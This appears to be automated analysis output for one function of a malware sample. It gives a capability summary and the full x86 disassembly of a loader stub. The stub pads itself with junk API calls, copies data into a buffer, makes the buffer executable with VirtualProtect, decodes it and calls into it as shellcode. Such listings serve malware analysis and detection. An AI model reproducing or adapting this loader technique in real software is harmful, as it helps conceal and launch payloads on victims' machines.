Function at 0x401375
Capabilities:
Allocate or change rwx memory
Create directory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location
Query environment variable
Terminate thread

Disassembly:
mov eax, 0x4108d8
call fcn.004108ac
mov eax, 0x2d84
call fcn.00408b10
mov ecx, dword [0xb5facc]
push esi
push edi
xor edi, edi
cmp ecx, 0x93
jne 0x4014d4
push 0x30
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x70], edi
push edi
push eax
call fcn.0040c2f0
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x70]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
push edi
push edi
push str.lonoj_fuhenudopug
push edi
push edi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push edi
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_DrawAnimatedRects]
xor eax, eax
lock bts dword [eax], 0
push edi
lea eax, [ebp - 0x58c]
push eax
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_GetAltTabInfoA]
push edi
lea eax, [ebp - 0x118c]
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push edi
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
push edi
lea eax, [ebp - 0x98c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 1
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], str.bad_allocation
push eax
lea ecx, [ebp - 0x2c]
call fcn.00402729
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], vtable.std::bad_alloc.0
call fcn.00402767
push edi
push edi
call fcn.00403351
push edi
push edi
call fcn.00403807
push edi
call fcn.004037cb
movss xmm0, dword [0x4181d8]
add esp, 0x14
cvtps2pd xmm0, xmm0
push edi
push ecx
push ecx
movsd qword [esp], xmm0
call fcn.00402fad
add esp, 0xc
fstp st(0)
push edi
call fcn.004037cb
pop ecx
push edi
push edi
mov dword [ebp - 0x24], edi
call fcn.00401e84
mov edi, eax
mov dword [ebp - 0x28], edi
and dword [ebp - 4], 0
lea eax, [ebp - 0x14]
and dword [ebp - 0x14], 0
push eax
push dword [edi + 4]
push edi
call fcn.00401ee2
mov dword [edi + 4], eax
mov ecx, dword [eax + 4]
or dword [ebp - 4], 0xffffffff
mov dword [ecx], eax
mov eax, dword [edi]
mov dword [edi], edi
mov dword [edi + 4], edi
cmp eax, edi
je 0x4014c5
mov esi, dword [eax]
push eax
call fcn.00403802
mov eax, esi
pop ecx
cmp esi, edi
jne 0x4014b6
push edi
call fcn.00403802
pop ecx
mov ecx, dword [0xb5facc]
xor edi, edi
mov eax, dword [0x41efa8]
add ecx, 0x1134b
push ecx
push edi
mov dword [0xb5fbd0], eax
mov dword [0xb5facc], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x38]
mov dword [0xb5fa24], eax
push ecx
push 0x40
push dword [0xb5facc]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, 0x29156e
push edi
lea eax, [ebp - 0x118c]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
dec esi
jne 0x40150f
mov ecx, dword [0xb5facc]
mov esi, edi
test ecx, ecx
je 0x4015a4
mov eax, dword [0xb5fbd0]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0xb5fa24]
mov byte [eax + esi], cl
mov ecx, dword [0xb5facc]
cmp ecx, 0x490
jne 0x40159f
lea eax, [ebp - 0x18c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 0x18]
push eax
push edi
lea eax, [ebp - 0x34]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
lea eax, [ebp - 0x98c]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x20]
push eax
push edi
lea eax, [ebp - 0x58c]
push eax
push str.goluniboxus
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0xb5facc]
inc esi
cmp esi, ecx
jb 0x40152c
mov esi, edi
lea eax, [ecx + esi]
cmp eax, 0x8d
jne 0x401647
push str.lumoyudapenoromisani
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push edi
lea eax, [ebp - 0x20]
push eax
push edi
lea eax, [ebp - 0x98c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_GetClassInfoW]
push edi
call dword [sym.imp.USER32.dll_CharLowerA]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push edi
lea eax, [ebp - 0x118c]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
push edi
lea eax, [ebp - 0x258c]
push eax
push str.nupehetuvegedohetupokoravujajiwe_gozuceleduwobayine_zegehatiwozucocuborifudesoh
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push edi
lea eax, [ebp - 0x1d8c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push edi
push edi
lea eax, [ebp - 0x58c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
lea eax, [ebp - 0x2d8c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, dword [0xb5facc]
inc esi
cmp esi, 0x38681
jl 0x4015a6
mov edi, dword [0xb5fa24]
mov esi, ecx
shr esi, 3
test esi, esi
je 0x401695
cmp ecx, 0x959
jne 0x401680
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov ecx, edi
call fcn.00401237
add edi, 8
dec esi
je 0x401695
mov ecx, dword [0xb5facc]
jmp 0x401663
xor edi, edi
mov esi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x62
jne 0x4016b7
mov dword [ebp - 0x14], edi
add dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
add dword [0xb5fa24], eax
inc esi
cmp esi, 0x674db
jl 0x401699
push 0x7b
pop esi
cmp dword [0xb5facc], 0x86
jne 0x401711
push edi
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
push edi
lea eax, [ebp - 0x3c]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea eax, [ebp - 0x158c]
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
dec esi
jne 0x4016c3
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0xb5fa24]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret